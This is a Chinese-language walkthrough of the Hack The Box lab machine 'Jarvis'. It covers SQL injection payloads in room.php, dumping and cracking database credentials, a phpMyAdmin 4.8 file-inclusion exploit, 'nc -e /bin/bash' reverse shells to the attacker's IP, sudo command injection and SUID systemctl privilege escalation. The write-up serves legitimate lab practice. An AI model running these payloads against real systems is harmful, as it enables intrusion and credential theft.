挺有意思的一台机器,有挺多种方式拿 low priv shell。
攻击机:官方Kali linux 2019 64位
作者:Ikonw
靶机介绍
一,端口扫描
只有HTTP 比较有兴趣,title 是 Stark Hotel
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 11:48 +08 |
二,HTTP Enumeration
第一个习惯就是先把gobuster 上起来
gobuster dir -w directory-list-2.3-medium.txt -u 10.10.10.143 -t 50 |
发现有 phpmyadmin
经过一番尝试,default 账号和密码都无效。暂时先跳过。
继续浏览 stark hotel(钢铁侠爱好者,stark 和 jarvis)
在网页上发现几处可疑的域名
supersecurehotel.htb
logger.htb
尝试着加进去 /etc/hosts
10.10.10.143 jarvis.htb supersecurehotel@logger.htb supersecurehotel.htb logger.htb |
然后分别用 jarvis.htb, supersecurehotel.htb, logger.htb 等域名进行访问。 结果还是跟之前一样的 并没有什么区别。我们接着探索。
一顿胡乱点击后 发现 room.php 有可疑
尝试加个双引号引号 “
http://10.10.10.143/room.php?cod=1" |
果然报错了
下一步 我们可以利用 ORDER BY 或者 UNION SELECT来找出查询语句有几个字段。
ORDER BY
首先使用orderby子句来确定SQL语句查询的字段数量。orderby子句会根据sql查询结果的字段来排序,如果字段不存在则会报错。
可以先从10 开始试
http://10.10.10.143/room.php?cod=1 ORDER BY 10 |
页面显示反常,代表没有10个字段, 一个一个慢慢下试
试到第7的时候 页面正常返回
http://10.10.10.143/room.php?cod=1 ORDER BY 7 |
确认了 有7个字段
紧接着 我们能使用 UNION SELECT来确定回显位
http://10.10.10.143/room.php?cod=999 UNION SELECT 1,2,3,4,5,6,7 |
可以确定 1 应该是ID,所以没有显示。
2 是 评分等级
3 是 价钱
4 是 介绍
5 是 图片
6 和 7 是未知。 当然这些都不重要 重要的是 回显位我们能看到。
可以利用mysql的一些函数来获取更多信息。 比如database()
数据库的名字叫hotel
http://10.10.10.143/room.php?cod=999 UNION SELECT 1,2,database(),4,5,6,7 |
三,拿shell
我们有两种方式来拿到 www-data。
一种为利用mysql读写的方式注入php执行nc
SELECT ... INTO OUTFILE 'file_name' |
然后我们访问 10.10.10.143/malicious.php
成功拿到 shell
第二种方式是通过 mysql函数导出 数据库的用户名和密码 登陆phpmyadmin.
使用 group_concat 可以把 同一个分组中的值连接起来,返回一个字符串结果 利用 “:” 来隔离分开
room.php?cod=999 union select 1,2,(select group_concat(user,":",password,":",host) from mysql.user),4,5,6,7 |
我们成功取得 数据库的账号和密码哈希值
Dbadmin:2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
利用 crackstation.net 来进行破解哈希值
得到密码 imissyou
找回之前的 phpmyadmin 登陆后发现
Apache/2.4.25
phpmyadmin 4.8.0
文章发表的时候 phpmyadmin 最新的版本为 5.0.1
一番searchsploit后发现 4.8.0和4.8.1 版本有远程执行文件包含漏洞
首先 运行sql命令
select 'system("nc -e /bin/bash 10.10.14.12 1234"); ' |
拿到session的数值
然后进行访问
10.10.10.143/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_b6uigkomnmk4oaa91ckc4chk4nfahaqi |
成功!
四,提高用户权限
第一件事情就是试试 sudo -l 有没有任何可以利用的权限。
Matching Defaults entries for www-data on jarvis: |
这是一个小型的警报器
仔细看了源代码,有一个地方可以使用命令注入,虽然做了点黑名单来过滤。 但是由于 $ 还能使用。 我们可以用类似 $(cmd) 的操作。
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p |
我们成功拿到pepper的shell
这里不懂出于什么原因 我各种命令全部都没响应。于是我用nc 重新生成了一个shell
pepper@jarvis:/$nc -e /bin/bash 10.10.14.10 1234 |
于是我们成功拿到pepper 的权限
五,ROOT提权
首先我们来查看SUID files
find / -perm -4000 2>/dev/null |
发现 systemctl 比较可疑。
通过 gtfobins 发现存在SUID 来进行提权的方法。
一般看到这种我都比较喜欢手动操作。
创建一个 pwn.service 在 pepper 的主目录里 并且把 ExecStart 指向 nc.sh
[Service] |
然后我们要创建一个 symlink 起来
systemctl link /home/pepper/pwn.service |
打开 nc 接听
然后启动我们的pwn服务
systemctl start pwn |
我们成功拿到root